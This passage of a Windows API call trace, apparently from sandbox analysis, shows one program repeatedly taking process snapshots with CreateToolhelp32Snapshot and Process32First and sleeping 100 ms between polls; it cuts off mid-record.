[0178.911] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.024] Sleep (dwMilliseconds=0x64) [0179.044] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0179.091] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.214] Sleep (dwMilliseconds=0x64) [0179.252] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0179.267] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.432] Sleep (dwMilliseconds=0x64) [0179.444] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0179.455] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.658] Sleep (dwMilliseconds=0x64) [0179.707] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0179.718] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.792] Sleep (dwMilliseconds=0x64) [0179.832] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0179.846] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.005] Sleep (dwMilliseconds=0x64) [0180.051] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0180.114] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.199] Sleep (dwMilliseconds=0x64) [0180.224] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0180.234] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.343] Sleep (dwMilliseconds=0x64) [0180.384] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0180.397] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.469] Sleep (dwMilliseconds=0x64) [0180.504] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0180.515] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.733] Sleep (dwMilliseconds=0x64) [0180.753] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0180.765] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.003] Sleep (dwMilliseconds=0x64) [0181.046] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0181.059] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.163] Sleep (dwMilliseconds=0x64) [0181.208] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0181.219] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.349] Sleep (dwMilliseconds=0x64) [0181.395] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0181.407] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.525] Sleep (dwMilliseconds=0x64) [0181.634] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0181.647] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.775] Sleep (dwMilliseconds=0x64) [0181.817] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0181.830] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.949] Sleep (dwMilliseconds=0x64) [0181.988] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0182.000] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.175] Sleep (dwMilliseconds=0x64) [0182.191] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0182.202] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.344] Sleep (dwMilliseconds=0x64) [0182.365] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0182.383] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.454] Sleep (dwMilliseconds=0x64) [0182.487] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12cc [0182.499] Process32First (in: hSnapshot=0x12cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.735] Sleep (dwMilliseconds=0x64) [0182.785] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0182.796] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.908] Sleep (dwMilliseconds=0x64) [0182.957] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0182.968] Process32First (in: hSnapshot=0x2f8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.094] Sleep (dwMilliseconds=0x64) [0183.106] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0183.151] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.307] Sleep (dwMilliseconds=0x64) [0183.342] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0183.354] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.509] Sleep (dwMilliseconds=0x64) [0183.519] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1774 [0183.529] Process32First (in: hSnapshot=0x1774, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.756] Sleep (dwMilliseconds=0x64) [0183.778] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0183.788] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.904] Sleep (dwMilliseconds=0x64) [0183.944] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0183.956] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.101] Sleep (dwMilliseconds=0x64) [0184.149] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0184.159] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.285] Sleep (dwMilliseconds=0x64) [0184.334] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0184.345] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.512] Sleep (dwMilliseconds=0x64) [0184.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0184.641] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.733] Sleep (dwMilliseconds=0x64) [0184.771] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b64 [0184.784] Process32First (in: hSnapshot=0x1b64, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.917] Sleep (dwMilliseconds=0x64) [0184.929] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0184.985] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.095] Sleep (dwMilliseconds=0x64) [0185.105] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b64 [0185.116] Process32First (in: hSnapshot=0x1b64, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.309] Sleep (dwMilliseconds=0x64) [0185.364] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0185.376] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.482] Sleep (dwMilliseconds=0x64) [0185.514] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0185.527] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.764] Sleep (dwMilliseconds=0x64) [0185.801] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0185.812] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.927] Sleep (dwMilliseconds=0x64) [0185.974] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0185.985] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.113] Sleep (dwMilliseconds=0x64) [0186.159] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b64 [0186.176] Process32First (in: hSnapshot=0x1b64, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.315] Sleep (dwMilliseconds=0x64) [0186.361] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b64 [0186.375] Process32First (in: hSnapshot=0x1b64, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.631] Sleep (dwMilliseconds=0x64) [0186.689] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b64 [0186.703] Process32First (in: hSnapshot=0x1b64, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.938] Sleep (dwMilliseconds=0x64) [0186.973] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0186.986] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.149] Sleep (dwMilliseconds=0x64) [0187.192] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0187.208] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.365] Sleep (dwMilliseconds=0x64) [0187.411] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0187.423] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.654] Sleep (dwMilliseconds=0x64) [0187.723] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0187.737] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.892] Sleep (dwMilliseconds=0x64) [0187.907] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b64 [0187.919] Process32First (in: hSnapshot=0x1b64, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.171] Sleep (dwMilliseconds=0x64) [0188.209] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b64 [0188.230] Process32First (in: hSnapshot=0x1b64, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.350] Sleep (dwMilliseconds=0x64) [0188.396] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b64 [0188.409] Process32First (in: hSnapshot=0x1b64, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.533] Sleep (dwMilliseconds=0x64) [0188.647] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0188.674] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.815] Sleep (dwMilliseconds=0x64) [0188.838] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0188.851] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.933] Sleep (dwMilliseconds=0x64) [0188.973] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0189.021] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.121] Sleep (dwMilliseconds=0x64) [0189.177] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0189.190] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.283] Sleep (dwMilliseconds=0x64) [0189.302] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0189.372] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.468] Sleep (dwMilliseconds=0x64) [0189.475] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a90 [0189.485] Process32First (in: hSnapshot=0x1a90, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.621] Sleep (dwMilliseconds=0x64) [0189.644] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0189.653] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.803] Sleep (dwMilliseconds=0x64) [0189.821] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0189.832] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.924] Sleep (dwMilliseconds=0x64) [0189.943] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b64 [0189.956] Process32First (in: hSnapshot=0x1b64, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.113] Sleep (dwMilliseconds=0x64) [0190.160] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0190.177] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.330] Sleep (dwMilliseconds=0x64) [0190.368] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b64 [0190.380] Process32First (in: hSnapshot=0x1b64, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.531] Sleep (dwMilliseconds=0x64) [0190.626] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x187c [0190.638] Process32First (in: hSnapshot=0x187c, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.789] Sleep (dwMilliseconds=0x64) [0190.826] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b64 [0190.837] Process32First (in: hSnapshot=0x1b64, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.952] Sleep (dwMilliseconds=0x64) [0190.994] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b64 [0191.042] Process32First (in: hSnapshot=0x1b64, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, 